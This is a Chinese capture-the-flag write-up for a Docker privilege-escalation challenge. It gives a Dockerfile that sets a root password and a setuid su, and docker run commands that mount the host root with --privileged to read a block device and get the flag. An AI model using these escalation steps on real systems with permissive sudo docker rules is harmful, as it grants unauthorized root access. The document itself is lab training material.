直接告诉我们flag在/flag中,访问第一小题:
sudo -l查看允许提权执行的命令:
发现有image load命令
题目指明了有rz命令,可以用ZMODEM接收文件,看到一些write up说可以用XShell、MobaXterm、Tabby Terminal等软件连接上传,使用MobaXterm复制粘贴token后按Enter键出现^M
经过查询了解需要做出如下修改:
rz命令显示如下:
搜索得到的解决方案:
兜兜转转还是得XShell,改用XShell进行操作,先随便上传一个1.txt:
但是传输速率是0,这就很奇怪了
what can i say?
换成Tabby Terminal继续操作,同样地,得修改一下telnet的配置:
(注意:右键自动粘贴token不会被显示,输入结束后按Ctrl J即可开始题目)
rz一个1.txt发现被rejected了:
后面了解到~目录的权限是“只读”:
切换到/tmp目录下就行了
在一篇文章中提到了,可以让docker里的用户运行一个镜像用su提权到root,待会就制作一个类似的镜像:
https://www.mendelowski.com/til/2024/07/no-new-privileges-docker
先制作镜像:
(注意:镜像名字需要小写字母,不然会报错,忘记截图了)
FROM busybox:latest# Create a new user
RUN adduser -D -u 1000 user && \# Set root passwordecho "root:root" | chpasswd && \# Make sure su has correct permissionschmod u+s /bin/su# Switch to the new user
USER user
WORKDIR /home/userCMD ["/bin/sh"]
docker build -t dockerfile:latest .命令构建docker镜像:
docker images查看镜像:
docker save -o dockerfile.tar dockerfile:latest命令将镜像导出为tar文件:
gzip dockerfile.tar命令将dockerfile.tar压缩成dockerfile.tar.gz文件并且将dockerfile.tar.gz下载到本地Windows再上传到/tmp中:
(注意:这里不知道为什么直接从VMare中复制粘贴到Windows中会失败,用MobaXterm没反应,用XShell倒是正常)
上传dockerfile.tar.gz:
(这里我以为上传dockerfile.tar卡住了,就想着会不会是文件类型的原因,压缩成.tar.gz后再上传dockerfile.tar.gz,但其实只是单纯的延迟问题)
gunzip dockerfile.tar.gz命令解压:
sudo docker image load < dockerfile.tar命令载入镜像:
因为在开头的sudo -l命令指明了docker run需要用低权限的uid 1000运行容器,-v /:/host是将主机的根目录直接挂载到了容器里:
运行docker镜像:
sudo docker run --rm -u 1000:1000 -v /:/host -it dockerfile命令:
(运行之后会进入到/bin/sh终端中)
开头的sudo -l命令:
进入到/host目录,发现/flag指向的是/dev/vdb设备块,而/dev/vdb的属组是 disk,/dev/vdb的读取权限是对用户组开放的,因此不需要指定容器用户为root,只需要指定用户组disk就有读取权限了:
exit退出,重新运行docker镜像并指定用户组disk:
sudo docker run --rm -u 1000:1000 --user 1000:disk -v /:/host -it dockerfile命令:
发现这次不是Permission denied了,而是Operation not permitted
后面了解到docker默认不允许容器对设备块进行操作
但可以添加参数--privileged=true授予操作设备块的能力:
sudo docker run --rm -u 1000:1000 --user 1000:disk -v /:/host --privileged=true -it dockerfile命令和cat /host/dev/vdb命令:
成功得到flag:
flag{dONT_1OAD_uNTRusT3D_1ma6e_f2c2c2f7d1_plz!}
更推荐使用下面的命令:
或者docker image load < dockerfile.tar后也可以使用如下命令:
dockerv:/tmp$ sudo docker run --rm -u 1000:1000 -v /flag:/flag -v /dev:/dev --pr
ivileged --pid=host --cap-add=SYS_ADMIN reader_busybox1 whoami
user
dockerv:/tmp$ sudo docker run --rm -u 1000:1000 -it -v /flag:/flag -v /dev:/dev--privileged --pid=host --cap-add=SYS_ADMIN reader_busybox1
~ $ su root
Password:
/home/user # cat /flag
flag{dONT_1OAD_uNTRusT3D_1ma6e_253cb5a83d_plz!}
附上删除docker镜像命令:
docker rmi dockerfile命令: